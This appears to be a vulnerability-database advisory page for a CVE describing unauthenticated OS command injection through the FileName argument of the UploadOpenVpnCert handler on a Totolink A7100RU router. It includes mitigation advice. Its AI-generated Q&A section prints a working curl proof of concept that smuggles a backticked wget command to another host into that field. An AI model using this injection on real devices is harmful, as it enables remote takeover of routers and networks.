CVE-2026-6139
Received Received - Intake
OS Command Injection in Totolink A7100RU CGI Handler (Remote

Publication date: 2026-04-13

Last updated on: 2026-04-13

Assigner: VulDB

Description
A vulnerability has been found in Totolink A7100RU 7.4cu.2313_b20191024. This affects the function UploadOpenVpnCert of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument FileName leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
CVSS Scores
EPSS Scores
Probability:
Percentile:
Meta Information
Published
2026-04-13
Last Modified
2026-04-13
Generated
2026-05-07
AI Q&A
2026-04-13
EPSS Evaluated
2026-05-05
NVD
EUVD
Affected Vendors & Products
Showing 1 associated CPE
Vendor Product Version / Range
totolink a7100ru 7.4cu.2313_b20191024
Helpful Resources
Exploitability
CWE
CWE Icon
KEV
KEV Icon
CWE ID Description
CWE-77 The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
CWE-78 The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?

CVE-2026-6139 is a command injection vulnerability in the TOTOLINK A7100RU router, specifically in version 7.4cu.2313_b20191024. It occurs in the CGI script cstecgi.cgi within the function UploadOpenVpnCert, where a user-supplied parameter named "FileName" is not properly sanitized.

The vulnerability allows an attacker to inject arbitrary operating system commands by manipulating the FileName parameter. This parameter is incorporated into a buffer using snprintf without validation and then executed via execv() through the CsteSystem function.

An attacker can exploit this remotely by sending a crafted POST request to /cgi-bin/cstecgi.cgi with a malicious FileName value, enabling them to execute arbitrary commands on the router.


How can this vulnerability impact me? :

This vulnerability allows remote attackers to execute arbitrary system commands on the affected TOTOLINK A7100RU router without any authentication.

  • Attackers can take full control of the device, potentially altering its configuration or using it as a foothold to attack other devices on the network.
  • It can lead to unauthorized access, data theft, disruption of network services, or the installation of malicious software.
  • Because the exploit is publicly disclosed, the risk of exploitation is high.

How can this vulnerability be detected on my network or system? Can you suggest some commands?

This vulnerability can be detected by sending a crafted POST request to the vulnerable router's /cgi-bin/cstecgi.cgi endpoint, specifically targeting the UploadOpenVpnCert function with a manipulated FileName parameter.

A proof of concept involves setting the FileName parameter to a command such as `wget 192.168.6.1:7777/testpoc` and observing if the router executes this command.

To detect exploitation attempts or test for the vulnerability, you can use a command like the following with curl:

  • curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -d 'action=UploadOpenVpnCert&FileName=`wget 192.168.6.1:7777/testpoc`'

If the router executes the command, it confirms the presence of the vulnerability.


How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:

The vulnerability allows remote attackers to execute arbitrary system commands on the affected Totolink A7100RU router due to improper input handling in the CGI script. This could lead to unauthorized access, data breaches, or manipulation of sensitive information.

Such unauthorized access and potential data compromise can negatively impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data against unauthorized access and breaches.

Therefore, exploitation of this vulnerability could result in violations of these regulations due to failure to maintain adequate security controls on network devices.


What immediate steps should I take to mitigate this vulnerability?

To mitigate the CVE-2026-6139 vulnerability, immediate steps should include restricting remote access to the affected device, especially to the /cgi-bin/cstecgi.cgi endpoint.

Avoid exposing the TOTOLINK A7100RU router to untrusted networks until a patch or update is available.

Monitor network traffic for suspicious POST requests targeting the UploadOpenVpnCert function or the FileName parameter.

If possible, disable or restrict the CGI Handler component or the vulnerable function to prevent exploitation.

Check for firmware updates or security patches from the vendor and apply them as soon as they become available.


Ask Our AI Assistant
Need more information? Ask your question to get an AI reply (Powered by our expertise)
0/70
EPSS Chart